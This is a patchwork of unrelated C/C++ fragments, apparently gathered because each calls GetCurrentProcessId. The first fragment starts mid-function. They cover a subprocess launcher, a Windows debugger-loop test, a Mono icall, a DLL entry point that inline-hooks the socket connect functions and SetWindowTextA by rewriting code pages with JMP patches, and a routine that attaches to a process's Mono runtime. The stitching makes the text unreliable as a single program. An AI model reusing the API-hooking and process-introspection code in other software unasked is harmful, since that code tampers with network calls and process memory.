0, NULL, NULL, &si, &pi) == 0) { if (o.verbose) logdebug("Error in CreateProcess: %d\n", GetLastError()); CloseHandle(info->child_in_r); CloseHandle(info->child_in_w); CloseHandle(info->child_out_r); CloseHandle(info->child_out_w); return -1; } /* Close hThread here because we have no use for it. hProcess is closed in subprocess_info_close. */ CloseHandle(pi.hThread); info->proc = pi.hProcess; return pi.dwProcessId; }
static void test_debug_loop(int argc, char **argv) { const char *arguments = " debugger child "; struct child_blackbox blackbox; char blackbox_file[MAX_PATH]; PROCESS_INFORMATION pi; STARTUPINFOA si; BOOL debug; DWORD pid; char *cmd; BOOL ret; if (!pDebugActiveProcessStop || !pCheckRemoteDebuggerPresent) { win_skip("DebugActiveProcessStop or CheckRemoteDebuggerPresent not available, skipping test.\n"); return; } pid = GetCurrentProcessId(); ret = DebugActiveProcess(pid); ok(!ret, "DebugActiveProcess() succeeded on own process.\n"); get_file_name(blackbox_file); cmd = HeapAlloc(GetProcessHeap(), 0, strlen(argv[0]) + strlen(arguments) + strlen(blackbox_file) + 2 + 10); sprintf(cmd, "%s%s%08x \"%s\"", argv[0], arguments, pid, blackbox_file); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); ret = CreateProcessA(NULL, cmd, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi); ok(ret, "CreateProcess failed, last error %#x.\n", GetLastError()); HeapFree(GetProcessHeap(), 0, cmd); ret = pCheckRemoteDebuggerPresent(pi.hProcess, &debug); ok(ret, "CheckRemoteDebuggerPresent failed, last error %#x.\n", GetLastError()); ok(debug, "Expected debug != 0, got %#x.\n", debug); for (;;) { DEBUG_EVENT ev; ret = WaitForDebugEvent(&ev, INFINITE); ok(ret, "WaitForDebugEvent failed, last error %#x.\n", GetLastError()); if (!ret) break; if (ev.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) break; ret = ContinueDebugEvent(ev.dwProcessId, ev.dwThreadId, DBG_CONTINUE); ok(ret, "ContinueDebugEvent failed, last error %#x.\n", GetLastError()); if (!ret) break; } ret = CloseHandle(pi.hThread); ok(ret, "CloseHandle failed, last error %#x.\n", GetLastError()); ret = CloseHandle(pi.hProcess); ok(ret, "CloseHandle failed, last error %#x.\n", GetLastError()); load_blackbox(blackbox_file, &blackbox, sizeof(blackbox)); ok(!blackbox.failures, "Got %d failures from child process.\n", blackbox.failures); ret = DeleteFileA(blackbox_file); ok(ret, "DeleteFileA failed, last error %#x.\n", GetLastError()); }
// Returns the process ID of the calling process. inline DWORD get_current_process() { return GetCurrentProcessId(); }
guint32 ves_icall_System_Diagnostics_Process_GetPid_internal (void) { MONO_ARCH_SAVE_REGS; return(GetCurrentProcessId ()); }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { DWORD protect, jmp_size; HWND h; int i, pid; char txt[1024] = ""; #if defined(_DEBUG) || defined(_DEBUG_) putenv("LOGFILE=c:\\socksswitchdrv.log"); putenv("TRACE=4"); putenv("DUMP=1"); #endif DEBUG_ENTER; switch (fdwReason) { /* hook */ case DLL_PROCESS_ATTACH: /* init */ for (i = 0; i < COUNT; i++) { memset(bytes[i], 0, SIZE); memcpy(jmp[i], "\xE9\x90\x90\x90\x90\xC3", SIZE); } /* function address */ addr[0] = GetProcAddress(GetModuleHandle("ws2_32.dll"), "connect"); addr[1] = GetProcAddress(GetModuleHandle("ws2_32.dll"), "WSAConnect"); addr[2] = GetProcAddress(GetModuleHandle("user32.dll"), "SetWindowTextA"); addr_new[0] = new_connect; addr_new[1] = new_WSAConnect; addr_new[2] = new_SetWindowText; #if defined(_DEBUG) || defined(_DEBUG_) for (i = 0; i < COUNT; i++) { TRACE_VERBOSE("pid:%i org:%p new:%p\n", GetCurrentProcessId(), addr[i], addr_new[i]); } #endif /* save bytes */ for (i = 0; i < COUNT; i++) { if (addr[i] != NULL) { VirtualProtect(addr[i], SIZE, PAGE_EXECUTE_READWRITE, &protect); memcpy(bytes[i], addr[i], SIZE); VirtualProtect(addr[i], SIZE, protect, NULL); jmp_size = (DWORD) addr_new[i] - (DWORD) addr[i] - 5; memcpy(&jmp[i][1], &jmp_size, 4); } } _hook(0); /* window text */ h = GetTopWindow(0); while (h) { GetWindowThreadProcessId(h, (PDWORD) & pid); if (pid == GetCurrentProcessId() && IsWindow(h) && IsWindowVisible(h)) { GetWindowText(h, txt, sizeof(txt)); SetWindowText(h, txt); } h = GetNextWindow(h, GW_HWNDNEXT); } for (i = 0; i < COUNT; i++) { DUMP(bytes[i], SIZE); DUMP(jmp[i], SIZE); } break; /* unhook */ case DLL_PROCESS_DETACH: _unhook(0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } DEBUG_LEAVE; return TRUE; }
void CPipeServer::InitMono() { HMODULE hMono=GetModuleHandle(L"mono.dll"); if (!hMono) { //this process doesn't use mono.dll Perhaps it's renamed. Find a module that exports mono_thread_attach HANDLE ths=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (ths != INVALID_HANDLE_VALUE) { MODULEENTRY32 me; me.dwSize = sizeof(me); if (Module32First(ths, &me)) { do { if (GetProcAddress(me.hModule, "mono_thread_attach")) { hMono = me.hModule; break; } } while (Module32Next(ths, &me)); } CloseHandle(ths); } } WriteQword((UINT64)hMono); if (hMono) { std::stringstream x; x.clear(); x << "Mono dll found at " << std::hex << hMono <<"\n"; OutputDebugStringA(x.str().c_str()); if (attached==FALSE) { g_free=(G_FREE)GetProcAddress(hMono, "g_free"); mono_get_root_domain=(MONO_GET_ROOT_DOMAIN)GetProcAddress(hMono, "mono_get_root_domain"); mono_thread_attach=(MONO_THREAD_ATTACH)GetProcAddress(hMono, "mono_thread_attach"); mono_thread_detach=(MONO_THREAD_DETACH)GetProcAddress(hMono, "mono_thread_detach"); mono_object_get_class=(MONO_OBJECT_GET_CLASS)GetProcAddress(hMono, "mono_object_get_class"); mono_domain_foreach=(MONO_DOMAIN_FOREACH)GetProcAddress(hMono, "mono_domain_foreach"); mono_domain_set=(MONO_DOMAIN_SET)GetProcAddress(hMono, "mono_domain_set"); mono_assembly_foreach=(MONO_ASSEMBLY_FOREACH)GetProcAddress(hMono, "mono_assembly_foreach"); mono_assembly_get_image=(MONO_ASSEMBLY_GET_IMAGE)GetProcAddress(hMono, "mono_assembly_get_image"); mono_image_get_name=(MONO_IMAGE_GET_NAME)GetProcAddress(hMono, "mono_image_get_name"); mono_image_get_table_info=(MONO_IMAGE_GET_TABLE_INFO)GetProcAddress(hMono, "mono_image_get_table_info"); mono_image_rva_map=(MONO_IMAGE_RVA_MAP)GetProcAddress(hMono, "mono_image_rva_map"); mono_table_info_get_rows=(MONO_TABLE_INFO_GET_ROWS)GetProcAddress(hMono, "mono_table_info_get_rows"); mono_metadata_decode_row_col=(MONO_METADATA_DECODE_ROW_COL)GetProcAddress(hMono, "mono_metadata_decode_row_col"); mono_metadata_string_heap=(MONO_METADATA_STRING_HEAP)GetProcAddress(hMono, "mono_metadata_string_heap"); mono_class_get=(MONO_CLASS_GET)GetProcAddress(hMono, "mono_class_get"); mono_class_from_name_case=(MONO_CLASS_FROM_NAME_CASE)GetProcAddress(hMono, "mono_class_from_name_case"); mono_class_get_name=(MONO_CLASS_GET_NAME)GetProcAddress(hMono, "mono_class_get_name"); mono_class_get_namespace=(MONO_CLASS_GET_NAMESPACE)GetProcAddress(hMono, "mono_class_get_namespace"); mono_class_get_methods=(MONO_CLASS_GET_METHODS)GetProcAddress(hMono, "mono_class_get_methods"); mono_class_get_method_from_name=(MONO_CLASS_GET_METHOD_FROM_NAME)GetProcAddress(hMono, "mono_class_get_method_from_name"); mono_class_get_fields=(MONO_CLASS_GET_FIELDS)GetProcAddress(hMono, "mono_class_get_fields"); mono_class_get_parent=(MONO_CLASS_GET_PARENT)GetProcAddress(hMono, "mono_class_get_parent"); mono_class_vtable=(MONO_CLASS_VTABLE)GetProcAddress(hMono, "mono_class_vtable"); mono_class_num_fields=(MONO_CLASS_NUM_FIELDS)GetProcAddress(hMono, "mono_class_num_fields"); mono_class_num_methods=(MONO_CLASS_NUM_METHODS)GetProcAddress(hMono, "mono_class_num_methods"); mono_field_get_name=(MONO_FIELD_GET_NAME)GetProcAddress(hMono, "mono_field_get_name"); mono_field_get_type=(MONO_FIELD_GET_TYPE)GetProcAddress(hMono, "mono_field_get_type"); mono_field_get_parent=(MONO_FIELD_GET_PARENT)GetProcAddress(hMono, "mono_field_get_parent"); mono_field_get_offset=(MONO_FIELD_GET_OFFSET)GetProcAddress(hMono, "mono_field_get_offset"); mono_field_get_flags = (MONO_FIELD_GET_FLAGS)GetProcAddress(hMono, "mono_field_get_flags"); mono_type_get_name=(MONO_TYPE_GET_NAME)GetProcAddress(hMono, "mono_type_get_name"); mono_type_get_type=(MONO_TYPE_GET_TYPE)GetProcAddress(hMono, "mono_type_get_type"); mono_method_get_name=(MONO_METHOD_GET_NAME)GetProcAddress(hMono, "mono_method_get_name"); mono_method_get_class=(MONO_METHOD_GET_CLASS)GetProcAddress(hMono, "mono_method_get_class"); mono_method_get_header=(MONO_METHOD_GET_HEADER)GetProcAddress(hMono, "mono_method_get_header"); mono_method_signature=(MONO_METHOD_SIG)GetProcAddress(hMono, "mono_method_signature"); mono_method_get_param_names = (MONO_METHOD_GET_PARAM_NAMES)GetProcAddress(hMono, "mono_method_get_param_names"); mono_signature_get_desc = (MONO_SIGNATURE_GET_DESC)GetProcAddress(hMono, "mono_signature_get_desc"); mono_signature_get_param_count = (MONO_SIGNATURE_GET_PARAM_COUNT)GetProcAddress(hMono, "mono_signature_get_param_count"); mono_signature_get_return_type = (MONO_SIGNATURE_GET_RETURN_TYPE)GetProcAddress(hMono, "mono_signature_get_return_type"); mono_compile_method=(MONO_COMPILE_METHOD)GetProcAddress(hMono, "mono_compile_method"); mono_free_method=(MONO_FREE_METHOD)GetProcAddress(hMono, "mono_free_method"); mono_jit_info_table_find=(MONO_JIT_INFO_TABLE_FIND)GetProcAddress(hMono, "mono_jit_info_table_find"); mono_jit_info_get_method=(MONO_JIT_INFO_GET_METHOD)GetProcAddress(hMono, "mono_jit_info_get_method"); mono_jit_info_get_code_start=(MONO_JIT_INFO_GET_CODE_START)GetProcAddress(hMono, "mono_jit_info_get_code_start"); mono_jit_info_get_code_size=(MONO_JIT_INFO_GET_CODE_SIZE)GetProcAddress(hMono, "mono_jit_info_get_code_size"); mono_method_header_get_code=(MONO_METHOD_HEADER_GET_CODE)GetProcAddress(hMono, "mono_method_header_get_code"); mono_disasm_code=(MONO_DISASM_CODE)GetProcAddress(hMono, "mono_disasm_code"); mono_vtable_get_static_field_data = (MONO_VTABLE_GET_STATIC_FIELD_DATA)GetProcAddress(hMono, "mono_vtable_get_static_field_data"); if (mono_get_root_domain==NULL) OutputDebugStringA("mono_get_root_domain not assigned"); if (mono_thread_attach==NULL) OutputDebugStringA("mono_thread_attach not assigned"); if (mono_object_get_class==NULL) OutputDebugStringA("mono_object_get_class not assigned"); if (mono_class_get_name==NULL) OutputDebugStringA("mono_class_get_name not assigned"); if (mono_domain_foreach==NULL) OutputDebugStringA("mono_domain_foreach not assigned"); if (mono_domain_set==NULL) OutputDebugStringA("mono_domain_set not assigned"); if (mono_assembly_foreach==NULL) OutputDebugStringA("mono_assembly_foreach not assigned"); if (mono_assembly_get_image==NULL) OutputDebugStringA("mono_assembly_get_image not assigned"); if (mono_image_get_name==NULL) OutputDebugStringA("mono_image_get_name not assigned"); mono_selfthread=mono_thread_attach(mono_get_root_domain()); attached=TRUE; } else OutputDebugStringA("Already attached"); } }